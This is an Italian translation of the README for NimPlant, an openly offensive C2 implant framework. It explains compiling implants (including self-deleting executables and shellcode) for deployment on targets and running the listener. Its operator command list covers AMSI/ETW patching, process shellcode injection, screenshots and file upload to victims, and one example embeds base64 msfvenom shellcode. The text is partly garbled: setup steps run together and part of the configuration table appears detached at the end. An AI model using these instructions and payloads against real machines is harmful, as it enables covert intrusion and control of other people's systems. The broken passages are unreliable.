
Un leggero impianto C2 di prima fase scritto in Nim (e Rust).
Di Cas van Cooten (@chvancooten), con un ringraziamento speciale ad alcune persone fantastiche:
Kadir Yamamoto (@yamakadi), Furkan Göksel (@frkngksl), Fabian Mosch (@S3cur3Th1sSh1t), Rafael Félix (@b1scoito), Guillaume Caillé (@OffenseTeacher), e molti altri!
Se NimPlant ti è stato utile e/o apprezzi il mio lavoro in generale, il tuo supporto è molto gradito:
inline-execute, shinject (usando invocazione dinamica), powershell in un runspace personalizzato, o execute-assembly in-threadÈ necessaria una versione moderna di Python3 per eseguire Nimplant.
requirements.txt dalla cartella del server (pip3 install -r server/requirements.txt).choosenim, poiché apt non ha sempre l'ultima versione).cd client; nimble install -d).mingw per la tua piattaforma (brew install mingw-w64 o apt install mingw-w64).rustup).rustup target add x86_64-pc-windows-gnu.~/.cargo/config.toml come da Cargo.toml e usa la catena di build nightly (rustup default nightly).Nota: Anche se si compila su Windows, è consigliato il target
x86_64-pc-windows-gnu. Produce binari leggermente più grandi, ma sembra più stabile quando viene generato shellcode dalla DLL risultante. Puoi modificarerust-toolchain.tomlper cambiare il target ax86_64-pc-windows-msvc, ma lo shellcode generato potrebbe non funzionare correttamente in tutti i casi.
Prima di usare NimPlant, crea il file di configurazione config.toml. Si consiglia di copiare config.toml.example e lavorare da lì.
Di seguito viene fornita una panoramica delle impostazioni.
| Categoria | Impostazione | Descrizione |
|---|---|---|
| server | ip | L'IP su cui il server web C2 (inclusa l'API) ascolterà. Si consiglia di usare 127.0.0.1, usa 0.0.0.0 solo se hai impostato regole firewall o di routing adeguate per proteggere il C2. |
| server | port | La porta su cui il server web C2 (inclusa l'API) ascolterà. |
| listener | type | Il tipo di listener, HTTP o HTTPS. Le opzioni HTTPS sono configurate sotto. |
| listener | sslCertPath | Il percorso locale di un file di certificato HTTPS (es. richiesto tramite LetsEncrypt CertBot o self-signed). Ignorato quando il tipo di listener è 'HTTP'. |
| listener | sslKeyPath | Il percorso locale del file della chiave privata del certificato HTTPS corrispondente. Verrà richiesta una password durante l'esecuzione del server NimPlant se impostata. Ignorato quando il tipo di listener è 'HTTP'. |
| listener | hostname | Il nome host del listener. Se non vuoto (""), NimPlant userà questo hostname per connettersi. Assicurati di instradare correttamente il traffico da questo host alla porta del listener NimPlant. |
| listener | ip | L'IP del listener. Richiesto anche se 'hostname' è impostato, poiché viene usato dal server per registrarsi su questo IP. |
| listener | port | La porta del listener. Richiesta anche se 'hostname' è impostato, poiché viene usata dal server per registrarsi su questa porta. |
| listener | registerPath | Il percorso URI con cui i nuovi NimPlant si registreranno. |
| listener | taskPath | Il percorso URI da cui i NimPlant riceveranno i task. |
| listener | resultPath | Il percorso URI a cui i NimPlant invieranno i risultati. |
| nimplant | riskyMode | Compila NimPlant con supporto per comandi rischiosi. A discrezione dell'operatore. Disabilitare rimuoverà il supporto per execute-assembly, powershell, shell e shinject. |
| nimplant | sleepMask | Se usare o meno la maschera di sonno Ekko invece delle normali chiamate di sonno per i Nimplants. Funziona solo con eseguibili regolari per ora! |
| nimplant | sleepTime | Il tempo di sonno predefinito in secondi per nuovi NimPlants. |
| nimplant | sleepJitter |
Una volta che la configurazione è di tuo gradimento, puoi generare i binari NimPlant da distribuire sul target. Attualmente, NimPlant supporta binari .exe, .dll e .bin rispettivamente per eseguibili (auto-eliminanti), librerie e shellcode indipendente dalla posizione (tramite sRDI). Per generare, esegui python nimplant.py compile seguito dai binari preferiti (exe, exe-selfdelete, dll, raw, o all) e, opzionalmente, il tipo di impianto (nim, rust, nim-debug, o rust-debug - compilerà Nim di default). I file verranno scritti rispettivamente in client/bin/ o client-rs/bin/.
Puoi passare l'argomento rotatekey per generare e usare una nuova chiave XOR durante la compilazione.
Note:
NimPlant supporta solo x64 al momento!
Il punto di ingresso per i file DLL è Update, che viene attivato da DllMain per tutti i punti di ingresso. Ciò significa che puoi usare ad es. rundll32 .\NimPlant.dll,Update per attivarlo, o usare il tuo LOLBIN preferito per sideloading (potrebbe richiedere alcune modifiche in client/NimPlant.nim o client-rs/src/lib.rs)```
PS C:\NimPlant> python .\nimplant.py compile all
* *(# #
** **(## ##
######## ( ********
####(###########************,****
# ######## ******** *
.### ***
.######## ********
#### ### *** ****
######### ### *** *********
####### #### ## ** **** *******
##### ## * ** *****
###### #### ##*** **** .******
############### ***************
########## **********
#########**********
#######********
| \ | () __ ___ | _ | | __ _ _ __ | |_
| | | | '_ _ \| |_) | |/ _ | '_ | __|
| |\ | | | | | | | __/| | (| | | | | |
|| _||| || ||| ||_,|| ||_|
A light-weight stage 1 implant and C2 based on Nim|Rust and Python
By Cas van Cooten (@chvancooten)
Compiling .exe for NimPlant Compiling self-deleting .exe for NimPlant Compiling .dll for NimPlant Compiling .bin for NimPlant
Done compiling! You can find compiled binaries in 'client/bin/'.
### Compilazione con Docker
Usare Docker è semplice e evita problemi di dipendenze, poiché tutte le dipendenze necessarie per la compilazione e l'esecuzione sono preinstallate nel contenitore.
Per usare Docker, puoi utilizzare il contenitore pubblico `chvancooten/nimplant` da [Docker Hub](https://hub.docker.com/r/chvancooten/nimplant) (creato tramite CI/CD), o compilare il `Dockerfile` dal codice sorgente.
> Per compilare dal sorgente, esegui il seguente comando dalla directory principale:
>
> ```bash
> docker build . -t nimplant
> ```
Questo creerà un contenitore con tag `nimplant:latest`. Nota: potrebbe richiedere del tempo e produrre un contenitore di dimensioni considerevoli a causa delle dipendenze di sviluppo!
Una volta fatto, puoi eseguire il contenitore dalla riga di comando per compilare i tuoi artefatti.```bash
docker run --rm -it -v ${PWD}:/nimplant chvancooten/nimplant:latest compile exe rust
Nota: Questo è un comando di esempio, assicurati di modificare argomenti come i volumi montati in base alla tua situazione.
Una volta che hai i tuoi binari pronti, puoi avviare il tuo server NimPlant! Se hai compilato localmente, non è necessaria alcuna configurazione aggiuntiva poiché legge dallo stesso file config.toml. Per avviare un server, esegui semplicemente python nimplant.py server (con privilegi sudo se in esecuzione su Linux). Puoi utilizzare la console non appena un Nimplant si connette, oppure accedere all'interfaccia web all'indirizzo http://localhost:31337 (per impostazione predefinita).
Note:
Se stai eseguendo il tuo server NimPlant esternamente rispetto alla macchina dove i binari sono stati compilati, assicurati che sia config.toml che .xorkey corrispondano. In caso contrario, NimPlant non sarà in grado di connettersi.
Il frontend web o l'API non supportano l'autenticazione, quindi non esporre la porta del frontend a reti non fidate senza un proxy inverso sicuro!
Se NimPlant non riesce a connettersi a un server o perde la connessione, ritenterà 5 volte con un tempo di backoff esponenziale prima di tentare una nuova registrazione. Se fallisce la registrazione altre 5 volte (stessa logica di backoff), si autodistruggerà. Il backoff triplica il tempo di attesa ad ogni tentativo fallito. Ad esempio, se il tempo di attesa è di 10 secondi, attenderà 10, poi 30 (3^1 * 10), poi 90 (3^2 * 10), poi 270 (3^3 * 10), poi 810 secondi prima di arrendersi (questi parametri sono hardcoded ma possono essere modificati in client/NimPlant.nim).
I log sono memorizzati nella directory server/logs. Ogni istanza del server crea una nuova cartella di log, e i log sono divisi per sessione console/nimplant. I download e gli upload (inclusi i file caricati tramite GUI web) sono memorizzati rispettivamente nelle directory server/uploads e server/downloads.
I dettagli di Nimplant e del server sono memorizzati in un database SQLite all'indirizzo server/nimplant.db. Questi dati sono utilizzati anche per recuperare i Nimplants dopo un riavvio del server.
I log, i file caricati/scaricati e il database possono essere puliti eseguendo nimplant.py con il flag cleanup. Attenzione: Questo cancellerà tutto, quindi assicurati di fare prima un backup di ciò che ti serve!```
PS C:\NimPlant> python .\nimplant.py server
* *(# #
** **(## ##
######## ( ********
####(###########************,****
# ######## ******** *
.### ***
.######## ********
#### ### *** ****
######### ### *** *********
####### #### ## ** **** *******
##### ## * ** *****
###### #### ##*** **** .******
############### ***************
########## **********
#########**********
#######********
| \ | () __ ___ | _ | | __ _ _ __ | |_
| | | | '_ _ \| |_) | |/ _ | '_ | __|
| |\ | | | | | | | __/| | (| | | | | |
|| _||| || ||| ||_,|| ||_|
A light-weight stage 1 implant and C2 written in Nim|Rust and Python
By Cas van Cooten (@chvancooten)
[06/02/2023 10:47:23] Started management server on http://127.0.0.1:31337. [06/02/2023 10:47:23] Started NimPlant listener on https://0.0.0.0:443. CTRL-C to cancel waiting for NimPlants.
Questo avvierà sia l'API C2 che il server web di gestione (nell'esempio sopra all'indirizzo `http://127.0.0.1:31337`) e l'ascoltatore NimPlant (nell'esempio sopra all'indirizzo `https://0.0.0.0:443`). Una volta che un NimPlant effettua il check-in, puoi usare sia l'interfaccia web che la console per inviare comandi a NimPlant.
### Avviare il Server con Docker
Lo stesso contenitore `chvancooten/nimplant` che può essere usato per la compilazione può essere usato anche per eseguire il server NimPlant. Affinché NimPlant riconosca il server, i file `config.toml` e `.xorkey` devono corrispondere alla macchina dove NimPlant è stato compilato (questo è automaticamente corretto se hai usato lo stesso contenitore Docker per la compilazione). Inoltre, il file `config.toml` deve essere configurato correttamente per Docker, in particolare l'IP del server di gestione deve essere impostato a `0.0.0.0` per raggiungerlo tramite Docker (assicurati di esporlo solo sull'interfaccia locale sul tuo host).
Puoi avviare un server NimPlant con il seguente comando di esempio:```bash
docker run --rm -it -p 80:80 -p 443:443 -p 127.0.0.1:31337:31337 -v ${PWD}:/nimplant -e "TZ=Europe/Amsterdam" chvancooten/nimplant:latest server
Nota: Questo è un comando di esempio, assicurati di modificare argomenti come i volumi montati in base alla tua situazione.
Usare Docker ti permette di configurare facilmente configurazioni più complesse. Ad esempio, la directory docker-example contiene un file docker-compose.yml che mostra come esporre NimPlant dietro un reindirizzatore Nginx usando HTTPS e una pagina fittizia di atterraggio.
I comandi disponibili sono i seguenti. Puoi ottenere aiuto dettagliato per qualsiasi comando digitando help [command]. Alcuni comandi contrassegnati con (GUI) possono essere configurati graficamente quando si utilizza l'interfaccia web, questo può essere fatto chiamando il comando senza argomenti.```
Command arguments shown as [required] .
Commands with (GUI) can be run without parameters via the web UI.
cancel Cancel all pending tasks. cat [filename] Print a file's contents to the screen. cd [directory] Change the working directory. clear Clear the screen. cp [source] [destination] Copy a file or directory. curl [url] Get a webpage remotely and return the results. download [remotefilepath] Download a file from NimPlant's disk to the NimPlant server. env Get environment variables. execute-assembly (GUI) <BYPASSAMSI=0> <BLOCKETW=0> [localfilepath] Execute .NET assembly from memory. AMSI/ETW patched by default. Loads the CLR. exit Exit the server, killing all NimPlants. getAv List Antivirus / EDR products on target using WMI. getDom Get the domain the target is joined to. getLocalAdm List local administrators on the target using WMI. getpid Show process ID of the currently selected NimPlant. getprocname Show process name of the currently selected NimPlant. help Show this help menu or command-specific help. hostname Show hostname of the currently selected NimPlant. inline-execute (GUI) [localfilepath] [entrypoint] Execute Beacon Object Files (BOF) from memory. ipconfig List IP address information of the currently selected NimPlant. kill Kill the currently selected NimPlant. list Show list of active NimPlants. listall Show list of all NimPlants. ls List files and folders in a certain directory. Lists current directory by default. mkdir [directory] Create a directory (and its parent directories if required). mv [source] [destination] Move a file or directory. nimplant Show info about the currently selected NimPlant. osbuild Show operating system build information for the currently selected NimPlant. powershell <BYPASSAMSI=0> <BLOCKETW=0> [command] Execute a PowerShell command in an unmanaged runspace. Loads the CLR. ps List running processes on the target. Indicates current process. pwd Get the current working directory. reg [query|add] [path] Query or modify the registry. New values will be added as REG_SZ. rm [file] Remove a file or directory. run [binary] Run a binary from disk. Returns output but blocks NimPlant while running. screenshot Take a screenshot of the user's screen. select [id] Select another NimPlant. shell [command] Execute a shell command. shinject (GUI) [targetpid] [localfilepath] Load raw shellcode from a file and inject it into the specified process's memory space using dynamic invocation. sleep [sleeptime] <jitter%> Change the sleep time of the current NimPlant. upload (GUI) [localfilepath] Upload a file from the NimPlant server to the victim machine. wget [url] Download a file to disk remotely. whoami Get the user ID that NimPlant is running as.
#### Utilizzo dei file oggetto Beacon (BOF)
**NOTA: I BOF sono volatili per natura, e l'esecuzione di un BOF difettoso o il passaggio di argomenti o tipi errati potrebbe causare il crash della sessione NimPlant! Assicurati di testare i BOF prima di implementarli!**
NimPlant supporta il caricamento in memoria dei BOF grazie ai fantastici progetti [NiCOFF](https://github.com/frkngksl/NiCOFF) (Nim) e [Coffee](https://github.com/hakaioffsec/coffee) (Rust). Per eseguire un BOF è necessario un file oggetto BOF compilato localmente (solitamente chiamato qualcosa come `bofname.x64.o`), un punto di ingresso (comunemente `go`) e un elenco di argomenti con i rispettivi tipi. Gli argomenti vengono passati come coppia separata da spazio `arg argtype`.
Gli argomenti vengono forniti in base al formato "Zzsib", quindi possono essere `string` (alias: `z`), `wstring` (o `Z`), `integer` (alias: `int` o `i`), `short` (`s`) o `binary` (`bin` o `b`). Gli argomenti binari possono essere una stringa binaria grezza o codificati in base64; si consiglia quest'ultimo per evitare caratteri problematici.
Di seguito sono forniti alcuni esempi di utilizzo (usando come esempio i magnifici BOF di TrustedSec [[1](https://github.com/trustedsec/CS-Situational-Awareness-BOF), [2](https://github.com/trustedsec/CS-Remote-OPs-BOF)]). Nota che `inline-execute` (senza argomenti) può essere utilizzato per configurare il comando graficamente nell'interfaccia.```bash
# Run a bof without arguments
inline-execute ipconfig.x64.o go
# Run the `dir` bof with one wide-string argument specifying the path to list, quoting optional
inline-execute dir.x64.o go "C:\Users\victimuser\desktop" Z
# Run an injection BOF specifying an integer for the process ID and base64-encoded shellcode as bytes
# Example shellcode generated with the command: msfvenom -p windows/x64/exec CMD=calc.exe EXITFUNC=thread -f base64
inline-execute /linux/path/to/createremotethread.x64.o go 1337 i /EiD5PDowAAAAEFRQVBSUVZIMdJlSItSYEiLUhhIi1IgSItyUEgPt0pKTTHJSDHArDxhfAIsIEHByQ1BAcHi7VJBUUiLUiCLQjxIAdCLgIgAAABIhcB0Z0gB0FCLSBhEi0AgSQHQ41ZI/8lBizSISAHWTTHJSDHArEHByQ1BAcE44HXxTANMJAhFOdF12FhEi0AkSQHQZkGLDEhEi0AcSQHQQYsEiEgB0EFYQVheWVpBWEFZQVpIg+wgQVL/4FhBWVpIixLpV////11IugEAAAAAAAAASI2NAQEAAEG6MYtvh//Vu+AdKgpBuqaVvZ3/1UiDxCg8BnwKgPvgdQW7RxNyb2oAWUGJ2v/VY2FsYy5leGUA b
# Depending on the BOF, sometimes argument parsing is a bit different using NiCOFF
# Make sure arguments are passed as expected by the BOF (can usually be retrieved from .CNA or BOF source)
# An example:
inline-execute enum_filter_driver.x64.o go # CRASHES - default null handling does not work
inline-execute enum_filter_driver.x64.o go "" z # OK - arguments are passed as expected
Per impostazione predefinita, NimPlant supporta le notifiche push tramite l'hook notify_user() definito in server/util/notify.py. Di default, implementa una semplice notifica Telegram che richiede che le variabili d'ambiente TELEGRAM_CHAT_ID e TELEGRAM_BOT_TOKEN siano impostate prima dell'attivazione. Naturalmente, il codice può essere facilmente esteso con una propria funzionalità di notifica push. L'hook notify_user() viene chiamato quando un nuovo NimPlant effettua il check-in e riceve un oggetto con i dettagli del NimPlant, che può poi essere inviato come desiderato.
Come utente normale, non dovresti dover modificare o ricompilare l'interfaccia utente fornita con Nimplant. Tuttavia, se desideri apportare modifiche, installa NodeJS ed esegui npm install nella directory ui. Quindi esegui ui/build-ui.py. Questo si occuperà di scaricare i pacchetti, compilare il frontend Next.JS e posizionare i file nella posizione corretta per l'utilizzo da parte del server Nimplant.
NimPlant è stato sviluppato come progetto di apprendimento e rilasciato al pubblico per trasparenza e scopi educativi. L'elusione di antivirus o EDR non è un obiettivo per gli implant preconfigurati. In gran parte, NimPlant non fa alcuno sforzo per nascondere le sue intenzioni. Inoltre, sono state messe in atto protezioni per prevenire abusi. In altre parole, NON utilizzare NimPlant così com'è in contesti di produzione senza un'approfondita revisione del codice sorgente e le dovute modifiche! Ricorda anche che, come con qualsiasi framework C2, l'impronta OPSEC dell'esecuzione di determinati comandi dovrebbe essere considerata prima del deployment. NimPlant può essere compilato senza comandi a rischio OPSEC impostando riskyMode su false in config.toml.
Ci sono molte ragioni per cui Nimplant potrebbe non compilare o funzionare. Se incontri problemi, prova quanto segue (in ordine):
server/logs per eventuali errorinim-debug o rust-debug per compilare con messaggi di console e debug (solo .exe) per vedere se vengono restituiti messaggi di errore| Il jitter predefinito in percentuale per nuovi NimPlants. |
| nimplant | killDate | La data di kill per i Nimplants (formato: yyyy-MM-dd). I Nimplants usciranno se questa data è passata. |
| nimplant | userAgent | Il user-agent usato dai NimPlants. Il server lo usa anche per convalidare il traffico NimPlant, quindi si consiglia di scegliere un UA che non sia sospetto, ma nemmeno troppo comune. |